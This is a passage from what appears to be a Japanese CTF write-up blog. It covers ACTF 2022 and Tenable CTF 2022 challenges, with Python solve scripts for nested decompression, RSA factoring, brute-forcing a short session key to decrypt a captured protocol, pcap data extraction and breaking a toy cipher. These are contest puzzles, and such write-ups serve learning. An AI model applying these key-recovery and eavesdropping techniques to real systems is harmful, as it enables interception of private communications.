xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ file flag
flag: gzip compressed data, was "flag", last modified: Thu Jun 23 10:23:44 2022, from Unix
$ mv flag flag.gz
$ gzip -d flag.gz
$ file flag
flag: LZMA compressed data, streamed
$ mv flag flag.lzma
$ xz --format=lzma --decompress flag.lzma
xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ file flag
flag: gzip compressed data, was "flag", last modified: Thu Jun 23 10:23:44 2022, from Unix
        :

さまざまな圧縮方式で何重にも圧縮されているので、fileコマンドで確認しながら、解凍していく。

#!/usr/bin/env python3
import subprocess
import os
import time

cmd_file = 'file %s'
cmd_bz2 = 'bzip2 -d %s'
cmd_xz = 'xz -d %s'
cmd_lzma = 'xz --format=lzma --decompress %s'
cmd_gz = 'gzip -d %s'
cmd_zst = 'zstd -d %s'

filename_flag = 'flag'
filename_bz2 = 'flag.bz2'
filename_xz = 'flag.xz'
filename_lzma = 'flag.lzma'
filename_gz = 'flag.gz'
filename_zst = 'flag.zst'

i = 1
while True:
    print('%d times' % i)
    cmd = cmd_file % filename_flag
    ret = subprocess.check_output(cmd.split(' ')).rstrip().decode()
    print(ret)
    if 'bzip2 compressed' in ret:
        os.rename(filename_flag, filename_bz2)
        os.system(cmd_bz2 % filename_bz2)
    elif 'XZ compressed' in ret:
        os.rename(filename_flag, filename_xz)
        os.system(cmd_xz % filename_xz)
    elif 'LZMA compressed' in ret:
        os.rename(filename_flag, filename_lzma)
        os.system(cmd_lzma % filename_lzma)
    elif 'gzip compressed' in ret:
        os.rename(filename_flag, filename_gz)
        os.system(cmd_gz % filename_gz)
    elif 'Zstandard compressed' in ret:
        os.rename(filename_flag, filename_zst)
        os.system(cmd_zst % filename_zst)
    else:
        break
    time.sleep(2)
    i += 1

実行結果は以下の通り。

        :
1017 times
flag: XZ compressed data
xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
1018 times
flag: bzip2 compressed data, block size = 900k
1019 times
flag: gzip compressed data, was "flag", last modified: Thu Jun 23 10:23:44 2022, from Unix
1020 times
flag: Zstandard compressed data (v0.8+), Dictionary ID: None
flag.zst            : 259 bytes                                                
1021 times
flag: Zstandard compressed data (v0.8+), Dictionary ID: None
flag.zst            : 246 bytes                                                
1022 times
flag: bzip2 compressed data, block size = 900k
1023 times
flag: bzip2 compressed data, block size = 900k
1024 times
flag: XZ compressed data
xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
1025 times
flag: ASCII text
$ cat flag
ACTF{r0cK_4Nd_rolL_1n_C0mpr33s1ng_aNd_uNCOmrEs5iNg}
ACTF{r0cK_4Nd_rolL_1n_C0mpr33s1ng_aNd_uNCOmrEs5iNg}

Mahjoong (Misc)

麻雀ゲームができるようなので、普通に勝負してみる。1勝したが、特にフラグは表示されない。継続して、もう一度勝負してみる。フラグ表示の条件はわからないが、ゲーム中にフラグが表示された。

ACTF{y@kumAn_1s_incredl3le}

impossible RSA (Crypto)

コードにあるパラメータの条件から、式を変形する。

e * q = p * A + 1
    ↓
e * p * q = p * p * A + p
    ↓
A*p**2 + p - e*n = 0

Aはそれほど大きい数値でないと推測できるので、Aのブルートフォース2次方程式の解が整数になるものを探し、p, qを求める。あとは通常通り復号しフラグを求める。

#!/usr/bin/env python3
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from sympy import *

with open('public.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

with open('flag', 'rb') as f:
    c = bytes_to_long(f.read())

A = 1
found = False
while True:
    p = symbols('p')
    eq = Eq(A * p ** 2 + p - e * n, 0)
    sol = solve(eq, p)
    for p in sol:
        if p.is_Integer:
            found = True
            print('[+] A =', A)
            break
    if found:
        break
    A += 1

p = int(p)
q = n // p
assert p * q == n

print('[+] p =', p)
print('[+] q =', q)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print('[*] flag =', flag)

実行結果は以下の通り。

[+] A = 46280
[+] p = 150465840847587996081934790667651610347742504431401795762471467800785876172317705268993152743689967775266712089661128372295606682852482012493939368044600366794969553828079064622047080051569090177885299781981209120854290564064662058027679075401901717932024549311396484660557278975525859127898004619405319768113
[+] q = 106253858346069738600667441477316882476975191191010804704017265511396163224664897689076447029585908855140507431062102645373463498213419404889139172575859514095414665779078979976323891310048026205540865067215318951327289428947198682355325809994354509756230772573224732747769822710641878029801786071777441733193
[*] flag = ACTF{F1nD1nG_5pEcia1_n_i5_nOt_eA5y}
ACTF{F1nD1nG_5pEcia1_n_i5_nOt_eA5y}

secure connection (Crypto)

master.txtの内容と合わせ、サーバの処理概要を考える。

・handler = connection_handle_socket(s, "master", args.dump)
 送受信のオブジェクト生成(ダンプファイルは"master.txt")
・connection_engine(handler, "master", args.encrypt)
 ・state = connection_state("master", args.encrypt)
  ・state.role = "master"
  ・state.local_counter = 0
  ・state.remote_counter = 0
  ・state.encrypt = args.encrypt
  ・state.initCRC = b""
 ・master_hello_procedure(handler, state)
  ・handler.send(state.prepare_hello_packet())
   ・hello_packet = int(state.encrypt << 7 | 1).to_bytes(1, "little")
   ・hello_packet += "\x03"
   ・state.initCRC = ランダム3バイト
   ・hello_packet += state.initCRC
   ・hello_packet += state.calc_crc(hello_packet)
   →helloパケット送信
  ・state.inc_local_counter()
   ・state.local_counter += 1
  ・hello_pkt = handler.recv(2 + 255 + 3)
   →helloパケット受信
  ・state.inc_remote_counter()
   ・state.remote_counter += 1
  ・encrypt_or_not = (hello_pkt[0] >> 7) & 0b1
   →暗号化しない場合、True返却
  ・handler.send(state.prepare_sc_request_packet())
   ・sc_request_packet += int(128 | 2).to_bytes(1, "little")
   ・sc_request_packet += "\x10"
   ・IV: ランダム8バイト
   ・Secret: ランダム8バイト
   ・state.IVm = IV
   ・state.Secretm = Secret
   ・sc_request_packet += IV
   ・sc_request_packet += Secret
   ・sc_request_packet += state.calc_crc(sc_request_packet)
  ・state.inc_local_counter()
   ・state.local_counter += 1
  ・numeric_key: 入力
  ・numeric_key = numeric_key % 0x1000000
  ・state.numeric_key = numeric_key
  ・state.numeric_key_bytes = (numeric_key).to_bytes(16, "little")
  ・sc_respond_pkt: パケット受信
  ・state.inc_remote_counter()
   ・state.remote_counter += 1
  ・sc_respond_pkt[0] & 0x3fと3が一致していない場合、Falseを返す。
  ・recvIVs = sc_respond_pkt[2:10]
  ・recvSecrets = sc_respond_pkt[10:18]
  ・crc = sc_respond_pkt[18: 18 + 3]
  ・should_crc = state.calc_crc(sc_respond_pkt[:18])
  ・crcとshould_crcが一致していない場合、Falseを返す。
  ・handler.send(state.prepare_master_confirm_packet())
   ・master_confirm_packet += int(128 | 4).to_bytes(1, "little")
   ・master_confirm_packet += "\x10"
   ・master_random: ランダム16バイト
   ・master_confirm = secure_confirm(
        state.numeric_key_bytes, master_random, b"\x00" * 16, b"\xff" * 16)
    ・secure_encrypt(state.numeric_key_bytes, 
         bytes_xor_16(secure_encrypt(state.numeric_key_bytes, master_random), b"\xff" * 16))
   ・state.MRandom = master_random
   ・state.MConfirm = master_confirm
   ・master_confirm_packet += master_confirm
   ・master_confirm_packet += state.calc_crc(master_confirm_packet)
  ・state.inc_local_counter()
   ・state.local_counter += 1
  ・sconfirm_pkt: パケット受信
  ・state.inc_remote_counter()
   ・state.remote_counter += 1
  ・sconfirm_pkt[0] & 0x3fと5が一致していない場合、Falseを返す。
  ・recvSConfirm = sconfirm_pkt[2:18]
  ・crc = sconfirm_pkt[18:18 + 3]
  ・should_crc = state.calc_crc(sconfirm_pkt[:18])
  ・crcとshould_crcが一致していない場合、Falseを返す。
  ・state.SConfirm = recvSConfirm
  ・handler.send(state.prepare_master_random_packet())
   ・master_random_packet += int(128 | 6).to_bytes(1, "little")
   ・master_confirm_packet += "\x10"
   ・master_random_packet += state.MRandom
   ・master_random_packet += state.calc_crc(master_random_packet)
  ・state.inc_local_counter()
   ・state.local_counter += 1
  ・srandom_pkt: パケット受信
  ・state.inc_remote_counter()
   ・state.remote_counter += 1
  ・srandom_pkt[0] & 0x3fと7が一致していない場合、Falseを返す。
  ・recvSRandom = srandom_pkt[2:18]
  ・crc = srandom_pkt[18:18 + 3]
  ・should_crc = state.calc_crc(srandom_pkt[:18])
  ・crcとshould_crcが一致していない場合、Falseを返す。
  ・state.check_slave_confirm(recvSRandom)がFalseの場合、Falseを返す。
   ・should_Sconfirm = secure_confirm(
        state.numeric_key_bytes, recvSRandom, b"\x00" * 16, b"\xff" * 16)
   ・state.SConfirmとshould_Sconfirmが一致していない場合、Falseを返す。
  ・state.setup_session()
   ・state.storekey = secure_encrypt(
        state.numeric_key_bytes, state.MRandom[:8] + state.SRandom[8:])
        self.sessionkey = secure_encrypt(
            state.storekey, state.Secretm + state.Secrets)
 ・以下繰り返し
  ・メニュー選択
  ・0を選択した場合、recieve_message(state, handler)
   ・dataheader: 2バイト受信
   ・more_data = (dataheader[0] >> 6) & 0b1
   ・opcode = dataheader[0] & 0x3f(PktOpcode.DATA.value)
   ・datalength = dataheader[1]
   ・payload = handler.recv(datalength)
   ・crc = handler.recv(3)
   ・should_crc = state.calc_crc(dataheader + payload)
   ・payload = state.decrypt_data_packet(payload)
   ・state.inc_remote_counter()
   ・crcとshould_crcが異なる場合はエラー
   ※more_dataが0になるまで、payloadを結合する。
  ・1を選択した場合、send_message(state, handler)
   ・data: 入力
   ・encoded_data: dataのbase64エンコード
   ・encoded_data_len: encoded_dataの長さ
   ・encoded_dataを255バイトごとに以下を実行
    ・moreData: 次のデータの有無(True / False)
    ・data_segment: encoded_dataの対象の255バイト
    ・data_packet = state.prepare_data_packet(data_segment, moreData)
     ・data_packet = b""
     ・data_packet += int(state.encrypt << 7 | moredata << 6 | 8).to_bytes(1, "little")
     ・data_packet += len(data_segment).to_bytes(1, "little")
     ・state.encryptがTrueの場合、
      data_packet += secure_encrypt_packet(state.sessionkey, data_segment,
                  (state.local_counter).to_bytes(13, "little")
      ・AES-CCM暗号化(nonce=state.local_counter)
     ・state.encryptがFalseの場合、
      data_packet += data_segment
     ・data_packet += state.calc_crc(data_packet)
     →データパケット送信
    ・state.inc_local_counter()
     ・state.local_counter += 1

各種パラメータを割り出していく。その際numeric_keyについては0x1000000未満なので、state.MRandomの暗号とstate.MConfirmが同じになるものを探す。あとはそのパラメータを使って、送信データのみ復号する。

#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
import libscrc

def bytes_xor_16(bytes1, bytes2):
    v1 = int.from_bytes(bytes1, 'big')
    v2 = int.from_bytes(bytes2, 'big')
    v3 = v1 ^ v2
    return (v3).to_bytes(16, 'big')

def secure_encrypt(key, plain):
    aes = AES.new(key=key, mode=AES.MODE_ECB)
    return aes.encrypt(plain)

def secure_decrypt_packet(key, plain, nonce):
    aes = AES.new(key=key, mode=AES.MODE_CCM, nonce=nonce)
    return aes.decrypt(plain)

def secure_confirm(key, r, p1, p2):
    return secure_encrypt(key, bytes_xor_16(secure_encrypt(key, bytes_xor_16(r, p1)), p2))

def calc_crc(initCRC, pdu):
    initvalue = int.from_bytes(initCRC, "little")
    crc = libscrc.hacker24(data=pdu, poly=0x00065B, init=initvalue,
                           xorout=0x00000000, refin=True, refout=True)
    return crc.to_bytes(3, "little")

with open('master.txt', 'r') as f:
    lines = f.read().splitlines()

######## 1st communication data ########
dirs = []
data = []
for line in lines[:31]:
    dir = line.rstrip().split('\t')[0]
    dat = line.rstrip().split('\t')[1].split(' ')
    d = b''.join([bytes([int(d, 16)]) for d in dat])
    if dir != '':
        dirs.append(dir.encode())
        data.append(d)
    else:
        data[-1] = data[-1] + d

######## 1st hello packet ########
assert dirs[0] == b'>'
assert data[0][0] & 1 == 1
encrypt = (data[0][0] >> 7) & 1
assert encrypt == False
assert data[0][1] == 3
initCRC = data[0][2:5]
assert data[0][5:8] == calc_crc(initCRC, data[0][0:5])
assert dirs[1] == b'<'
assert data[1] == data[0]

######## 1st data packet (not encrypted) ########
for i in range(3):
    assert dirs[i*4+2] == b'>'
    assert data[i*4+2][0] & 8 == 8
    encrypt = (data[i*4+2][0] >> 7) & 1
    assert encrypt == False
    more_data =  (data[i*4+2][0] >> 6) & 1
    assert more_data == False
    length = data[i*4+2][1]
    payload = data[i*4+2][2:2+length]
    assert data[i*4+2][2+length:2+length+3] == calc_crc(initCRC, data[i*4+2][0:2+length])
    inp_data = base64.b64decode(payload).decode()
    print(inp_data)

    if i == 2:
        break

    assert dirs[i*4+3] == b'<'
    more_data = (data[i*4+3][0] >> 6) & 0b1
    assert more_data == False
    opcode = data[i*4+3][0] & 0x3f
    assert opcode == 8
    length = data[i*4+3][1]

    assert dirs[i*4+4] == b'<'
    payload = data[i*4+4]

    assert dirs[i*4+5] == b'<'
    crc = data[i*4+5]

    assert data[i*4+5] == calc_crc(initCRC, data[i*4+3] + data[i*4+4])
    inp_data = base64.b64decode(payload).decode()
    print(inp_data)

######## 2nd hello packet ########
local_counter = 0
remote_counter = 0
assert dirs[11] == b'>'
assert data[11][0] & 1 == 1
encrypt = (data[11][0] >> 7) & 1
assert encrypt == True
assert data[11][1] == 3
initCRC = data[11][2:5]
assert data[11][5:8] == calc_crc(initCRC, data[11][0:5])
assert dirs[12] == b'<'
assert data[12] == data[11]
local_counter += 1
remote_counter += 1

assert dirs[13] == b'>'
assert data[13][0] == 128 | 2
assert data[13][1] == 16
IVm = data[13][2:10]
Secretm = data[13][10:18]
assert data[13][18:21] == calc_crc(initCRC, data[13][0:18])
local_counter += 1
remote_counter += 1

assert dirs[14] == b'<'
assert data[14][0] & 0x3f == 3
IVs = data[14][2:10]
Secrets = data[14][10:18]
assert data[14][18:21] == calc_crc(initCRC, data[14][0:18])

assert lines[31].rstrip().split('\t')[0].encode() == b'>'

data15_1 = lines[31].rstrip().split('\t')[1].split(' ')
data15_2 = lines[32].rstrip().split('\t')[1].split(' ')
d15_1 = b''.join([bytes([int(d, 16)]) for d in data15_1])
d15_2 = b''.join([bytes([int(d, 16)]) for d in data15_2[2:]])

assert d15_1[0] == 128 | 4
assert d15_1[1] == 16

for x in range(65536):
    X = x.to_bytes(2, "little")
    crc = calc_crc(initCRC, d15_1 + X)
    if crc == d15_2:
        break

d15 = d15_1 + X + d15_2
MConfirm = d15[2:18]
local_counter += 1
remote_counter += 1

assert lines[33].rstrip().split('\t')[0].encode() == b'<'

data16_1 = lines[33].rstrip().split('\t')[1].split(' ')
data16_2 = lines[34].rstrip().split('\t')[1].split(' ')

assert int(data16_1[0], 16) & 0x3f == 5

assert lines[35].rstrip().split('\t')[0].encode() == b'>'

data17_1 = lines[35].rstrip().split('\t')[1].split(' ')
data17_2 = lines[36].rstrip().split('\t')[1].split(' ')
d17_1 = b''.join([bytes([int(d, 16)]) for d in data17_1])
d17_2 = b''.join([bytes([int(d, 16)]) for d in data17_2])
d17 = d17_1 + d17_2

assert d17[0] == 128 | 6
assert d17[1] == 16
MRandom = d17[2:18]
assert d17[18:] == calc_crc(initCRC, d17[0:18])
local_counter += 1
remote_counter += 1

#for numeric_key in range(0x1000000):
for numeric_key in range(9190693, 0x1000000):
    numeric_key_bytes = (numeric_key).to_bytes(16, "little")
    master_confirm = secure_confirm(numeric_key_bytes,
        MRandom, b"\x00" * 16, b"\xff" * 16)
    if master_confirm == MConfirm:
        break

print('\n[+] numeric_key:', numeric_key)
print()
numeric_key_bytes = (numeric_key).to_bytes(16, "little")

assert lines[37].rstrip().split('\t')[0].encode() == b'<'

data18_1 = lines[37].rstrip().split('\t')[1].split(' ')
data18_2 = lines[38].rstrip().split('\t')[1].split(' ')
d18_1 = b''.join([bytes([int(d, 16)]) for d in data18_1[:14]])
d18_2 = bytes([int(data18_1[15], 16)])
d18_3 = b''.join([bytes([int(d, 16)]) for d in data18_2])

assert d18_1[0] & 0x3f == 7

for x in range(256):
    X = x.to_bytes(1, "little")
    crc = calc_crc(initCRC, d18_1 + X + d18_2 + d18_3[:2])
    if crc == d18_3[2:]:
        break

d18 = d18_1 + X + d18_2 + d18_3
recvSRandom = d18[2:18]
SConfirm = secure_confirm(numeric_key_bytes,
    recvSRandom, b"\x00" * 16, b"\xff" * 16)

storekey = secure_encrypt(numeric_key_bytes, MRandom[:8] + recvSRandom[8:])
sessionkey = secure_encrypt(storekey, Secretm + Secrets)

######## 2nd communication data (only send message) ########
dirs = []
data = []
for line in lines[39:]:
    dir = line.rstrip().split('\t')[0]
    dat = line.rstrip().split('\t')[1].split(' ')
    d = b''.join([bytes([int(d, 16)]) for d in dat])
    if dir != '':
        dirs.append(dir.encode())
        data.append(d)
    else:
        data[-1] = data[-1] + d

send_data = []
for i in range(len(dirs)):
    if dirs[i] == b'>':
        send_data.append(data[i])

######## 2nd data packet (encrypted) (only send message) ########
i = 0
while i < len(send_data):
    payload = b''
    while True:
        assert send_data[i][0] & 8 == 8
        encrypt = (send_data[i][0] >> 7) & 1
        assert encrypt == True
        more_data = (send_data[i][0] >> 6) & 1
        length = send_data[i][1]
        body = send_data[i][2:2+length]
        body = secure_decrypt_packet(sessionkey, body,
            (local_counter).to_bytes(13, "little"))
        payload += body

        i += 1
        local_counter += 1
        if more_data == False:
            break

    inp_data = base64.b64decode(payload).decode()
    print(inp_data)

実行結果は以下の通り。

Hello there, long time no see, zraxx
yeah, I am quite busy making ACTF crypto challenges
well, I can offer you a not bad signin challenge
show me
let's first dive into secure connection

[+] numeric_key: 9190693

I will tell you my flag after you finish your poem
No I mean this one, I never saw a Moor-I never saw the Sea-Yet know I how the Heather looksAnd what a Billow be.I never spoke with GodNor visited in Heaven-Yet certain am I of the spotAs if the Checks were given-
You got your flag: ACTF{ShORt_NUmeR1c_KEY_1s_Vuln3R4bLe_TO_e@V3sDropPEr}
ACTF{ShORt_NUmeR1c_KEY_1s_Vuln3R4bLe_TO_e@V3sDropPEr}

signoff (Misc)

アンケートに答えたら、フラグが表示された。

ACTF{YOu_4Re_4WEsOme_3njoy_tHE_v4cAT1on}

Tenable CTF 2022 Writeup

この大会は2022/6/10 2:00(JST)~2022/6/14 2:00(JST)に開催されました。
今回もチームで参戦。結果は1400点で1356チーム中191位でした。
自分で解けた問題をWriteupとして書いておきます。

CTF Basics (z_Introduction 100)

問題にフラグが書いてあった。

flag{thanks_4_joining_us}

Discord Support (z_Introduction 100)

Discordに入り、#welcomeチャネルでMEE6ボットにリアクションすると、たくさんのチャネルが現れた。現れた#generalチャネルのトピックを見ると、フラグが書いてあった。

flag{disc0rd_fl4g}

Babby Web 1 (Web 100)

HTMLソースを見ると、コメントにフラグが書いてあった。

flag{never_gonna_l3t_you_down}

Babby Web 2 (Web 100)

証明書を見ると、発行者にフラグが設定されていた。

flag{n3v3r_g0nna_giv3_y0u_up}

Babby Web 3 (Web 100)

https://104.43.161.131/robots.txtにアクセスすると、フラグが書かれていた。

flag{never_gonna_tell_a_l13}

Babby Web 4 (Web 100)

$ curl -k https://104.43.161.131/ -v
*   Trying 104.43.161.131...
* TCP_NODELAY set
* Connected to 104.43.161.131 (104.43.161.131) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Unknown (8):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Client hello (1):
* TLSv1.3 (OUT), TLS Unknown, Certificate Status (22):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=US; ST=flag{n3v3r_g0nna_giv3_y0u_up}; O=Internet Widgits Pty Ltd
*  start date: May 31 14:53:21 2022 GMT
*  expire date: May 31 14:53:21 2023 GMT
*  issuer: C=US; ST=flag{n3v3r_g0nna_giv3_y0u_up}; O=Internet Widgits Pty Ltd
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
* TLSv1.3 (OUT), TLS Unknown, Unknown (23):
> GET / HTTP/1.1
> Host: 104.43.161.131
> User-Agent: curl/7.58.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS Unknown, Unknown (23):
< HTTP/1.1 200 OK
< Date: Sat, 11 Jun 2022 22:59:16 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Tue, 31 May 2022 15:06:51 GMT
< ETag: "3e-5e0501f5922c5"
< Accept-Ranges: bytes
< Content-Length: 62
< ctf: flag{nev3r_gonn4_say_g00dbye}
< Content-Type: text/html
< 
<html>
	sup?
</html>
<!-- flag{never_gonna_l3t_you_down} -->

* Connection #0 to host 104.43.161.131 left intact

レスポンスヘッダのctfにフラグが設定されていた。

flag{nev3r_gonn4_say_g00dbye}

Top Secret (Forensics 100)

PDFを開くと、マスクされている箇所がある。「編集を有効にする」にして、「3件の注釈」の「スタンプを適用」を選択すると、マスクがはずれフラグが見える。

flag{rememb3r_t0_flatt3n_ur_PDF5}

Strange Packets (Forensics 100)

Modbus/TCPのパケットで、Unknown functionでASCIIコードが指定されているようだ。デコードして連結すると、メッセージが復元でき、フラグが含まれていた。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('strange_packets.pcapng')

msg = ''
for p in packets:
    if p[IP].dst == '10.10.50.7' and p.haslayer(Raw):
        load = p[Raw].load
        for i in range(0, len(load), 12):
            msg += chr(load[i+7])

print(msg)
The flag for this challenge is flag{m0dbu5_is_4_simpl3_ProtOcol}.
flag{m0dbu5_is_4_simpl3_ProtOcol}

The One with a Lot of Cats (Forensics 200)

Autospyで開くと、削除されたファイルがあり、そのうちjpgファイルにフラグが書いてあった。

flag{m30w}

Data Exfil (Forensics 200)

ICMPの通信の中にDATAが含まれている。その中でNo.191のパケットからPNG形式のデータが見えるので、抽出し結合する。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('dataexfil.pcapng')

png = b''
i = 1
for p in packets:
    if p.haslayer(ICMP) and p[ICMP].type == 0 \
        and p[IP].dst == '10.211.55.3' \
        and p.haslayer(Raw) and len(p[Raw].load) > 48:
        png += p[Raw].load
    i += 1

with open('flag.png', 'wb') as f:
    f.write(png)

結合した画像にフラグが書いてあった。

flag{d4t4_over_1cmp}

DIY Crypto (Crypto 100)

暗号化の処理概要は以下の通り。

・plaintext: 平文
・plaintext_padded: '\x00'でpadding
・randome_key: ランダム16バイトバイト文字列
・block_count: 平文のブロック数
・cur_key = random_key
・crypted = b""
・ブロック数だけ以下の処理を実行
 ・block: plaintext_paddedの各ブロック
 ・crypt_block(block, cur_key)
  ・16回各バイトとkeyでXORしたものをインデックスとして、sboxの値を連結する。
   →連結したものをcryptedに連結する。
  ・cur_keyを左に1バイトシフトする。一番左のバイトは一番右に来る。
・cryptedをcrypted.txtに書き込み。

暗号化は1バイト単位で閉じており、同じキーではインデックスで以下のような関連がある。

・0 -> 31 -> 46 -> 61 -> 76 -> ...
・1 -> 16 -> 47 -> 62 -> 77 -> ...
・2 -> 17 -> 32 -> 63 -> 78 -> ...
      :

16バイトの各バイトについて、256パターンをブルートフォースして、printableなものを探す。

#!/usr/bin/env python3
sbox = (
            0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
            0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
            0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
            0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
            0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
            0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
            0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
            0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
            0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
            0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
            0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
            0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
            0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
            0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
            0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
            0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
)

def decrypt_byte(c, key):
    index = sbox.index(c)
    return bytes([index ^ key])

def is_printable(s, allows=[10]):
    for c in s:
        if c < 32 or c > 126:
            if c not in allows:
                return False
    return True

with open('crypted.txt', 'rb') as f:
    crypted = f.read()

msg = [b''] * len(crypted)
for i in range(16):
    for key in range(256):
        j = i
        block = 0
        found = True
        while True:
            p = decrypt_byte(crypted[j], key)
            msg[j] = p
            if j < len(crypted) - 16 and not is_printable(p):
                found = False
                break
            elif j < len(crypted) and not is_printable(p, allows=[0, 10]):
                found = False
                break

            j += 15
            if j // 16 == block:
                j += 16
            block += 1

            if j >= len(crypted):
                break

        if found:
            break

msg = b''.join(msg).rstrip(b'\x00').decode()
print(msg)

復号結果は以下の通り。

From fairest creatures we desire increase,
That thereby beauty's rose might never die,
But as the riper should by time decease,
His tender heir might bear his memory:
But thou contracted to thine own bright eyes,
Feed'st thy light's flame with self-substantial fuel,
Making a famine where abundance lies,
Thy self thy foe, to thy sweet self too cruel:
Thou that art now the world's fresh ornament,
And only herald to the gaudy spring,
Within thine own bud buriest thy content,
And tender churl mak'st waste in niggarding:
Pity the world, or else this glutton be,
To eat the world's due, by the grave and thee.

When forty winters shall besiege thy brow,
And dig deep trenches in thy beauty's field,
Thy youth's proud livery so gazed on now,
Will be a tattered weed of small worth held:
Then being asked, where all thy beauty lies,
Where all the treasure of thy lusty days;
To say within thine own deep sunken eyes,
Were an all-eating shame, and thriftless praise.
How much more praise deserved thy beauty's use,
If thou couldst answer 'This fair child of mine
Shall sum my count, and make my old excuse'
Proving his beauty by succession thine.
This were to be new made when thou art old,
And see thy blood warm when thou feel'st it cold.

Look in thy glass and tell the face thou viewest,
Now is the time that face should form another,
Whose fresh repair if now thou not renewest,
Thou dost beguile the world, unbless some mother.
For where is she so fair whose uneared womb
Disdains the tillage of thy husbandry?
Or who is he so fond will be the tomb,
Of his self-love to stop posterity?
Thou art thy mother's glass and she in thee
Calls back the lovely April of her prime,
So thou through windows of thine age shalt see,
Despite of wrinkles this thy golden time.
But if thou live remembered not to be,
Die single and thine image dies with thee.

Unthrifty loveliness why dost thou spend,
Upon thy self thy beauty's legacy?
Nature's bequest gives nothing but doth lend,
And being frank she lends to those are free:
Then beauteous niggard why dost thou abuse,
The bounteous largess given thee to give?
Profitless usurer why dost thou use
So great a sum of sums yet canst not live?
For having traffic with thy self alone,
Thou of thy self thy sweet self dost deceive,
Then how when nature calls thee to be gone,
What acceptable audit canst thou leave?
Thy unused beauty must be tombed with thee,
Which used lives th' executor to be.

Those hours that with gentle work did frame
The lovely gaze where every eye doth dwell
Will play the tyrants to the very same,
And that unfair which fairly doth excel:
For never-resting time leads summer on
To hideous winter and confounds him there,
Sap checked with frost and lusty leaves quite gone,
Beauty o'er-snowed and bareness every where:
Then were not summer's distillation left
A liquid prisoner pent in walls of glass,
Beauty's effect with beauty were bereft,
